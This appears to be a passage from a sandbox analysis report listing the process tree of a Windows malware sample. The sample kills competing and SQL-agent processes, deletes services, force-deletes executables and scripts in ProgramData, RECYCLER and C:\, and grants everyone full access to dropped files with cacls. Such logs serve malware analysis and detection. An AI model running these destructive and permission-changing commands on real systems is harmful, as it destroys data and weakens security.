  PID:1660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:3424
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:1648
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SvidaPctb.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:980
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SvidaPctb.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:1952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:4212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im WavesSys.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3448
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WavesSys.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:2164
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:1556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:692
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:4784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  - Executes a command shell one-liner
  PID:3512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft StuSystem\System.exe
  2⤵
  PID:1192
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft StuSystem\System.exe
  2⤵
  PID:5892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft StuSystem\System.exe
  2⤵
  PID:3508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdxgiwrap.exe
  2⤵
  PID:3300
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Nvdxgiwrap"
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    PID:5344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Nvdxgiwrap"
  2⤵
  PID:1548
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    PID:4280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Rsytvcem"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4468
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows Rsytvcem"
  2⤵
  PID:4392
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:2336
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Rsytvcp.exe
  2⤵
  - Executes a command shell one-liner
  PID:712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:5760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:5072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Rsytvcem\Rsytvcp.exe
  2⤵
  PID:3836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Systen64.exe
  2⤵
  PID:1752
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SystenApp\Systen64.exe
  2⤵
  PID:4132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe
  2⤵
  PID:1836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SystenApp\Systen64.exe
  2⤵
  PID:5620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  - Executes a command shell one-liner
  PID:4688
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4452
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Help\spoolys.exe
  2⤵
  PID:4744
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im lsma12.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3916
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\INF\aspnet\lsma12.exe
  2⤵
  PID:4328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  PID:1052
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:6104
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:1976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sqlcmd.exe
  2⤵
  PID:2512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sqlcmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:2228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:704
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:4152
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:5624
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  PID:1152
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  - Executes a command shell one-liner
  PID:4776
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5708
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im m6.bin.bin.exe
  2⤵
  PID:5792
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6028
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im m6.bin.bin.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im javaw.exe
  2⤵
  PID:2816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im javaw.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im clsso.exe
  2⤵
  - Executes a command shell one-liner
  PID:4464
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im clsso.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5484
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:592
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:3860
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:2324
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:6088
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:1380
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:912
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  - Executes a command shell one-liner
  PID:892
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  PID:4872
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  - Executes a command shell one-liner
  PID:5780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  PID:240
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6064
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  - Executes a command shell one-liner
  PID:4140
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sSqlManagement.exe
  2⤵
  PID:2368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe
  2⤵
  PID:3352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  PID:4668
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:4984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:1004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\*
  2⤵
  PID:704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:5152
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.vbs
  2⤵
  PID:3856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.dll
  2⤵
  PID:2828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.txt
  2⤵
  PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.bat
  2⤵
  PID:3664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.json
  2⤵
  PID:5860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\*.ini
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\*.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.vbs
  2⤵
  PID:5028
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.dll
  2⤵
  PID:1712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.txt
  2⤵
  PID:1160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.bat
  2⤵
  PID:5892
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4652
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.json
  2⤵
  PID:5804
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\*.ini
  2⤵
  PID:2096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\*.exe
  2⤵
  PID:4876
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.vbs
  2⤵
  PID:3996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.dll
  2⤵
  PID:4612
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.txt
  2⤵
  PID:5740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.bat
  2⤵
  PID:1940
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.json
  2⤵
  PID:3892
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/*.ini
  2⤵
  PID:3024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/*.exe
  2⤵
  PID:4100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  - Executes a command shell one-liner
  PID:3440
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  PID:5712
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWA.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4188
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWA.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWB.exe
  2⤵
  PID:4540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWB.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWC.exe
  2⤵
  PID:4496
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENAC.exe
  2⤵
  PID:2588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENAC.exe
    3⤵
    PID:5604
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:4148
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:1272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:620
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:1580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
  2⤵
  PID:2280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:260
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
    3⤵
    PID:5724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:4452
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:6020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:5500
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:3508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2116
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4476
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:2644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:3032
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:5124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:3008
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:5632
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:2372
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:4504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5144
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:4176
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:4108
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:5736
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:5892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:4984
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:4280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:1008
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  - Executes a command shell one-liner
  PID:1252
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Kills process with taskkill
    PID:2056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  PID:1748
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:3216
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2360
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    PID:5896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4284
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    PID:4100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:5884
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    PID:2956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:3048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    PID:1076
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:5020
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:1836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:6076
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:2056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
  2⤵
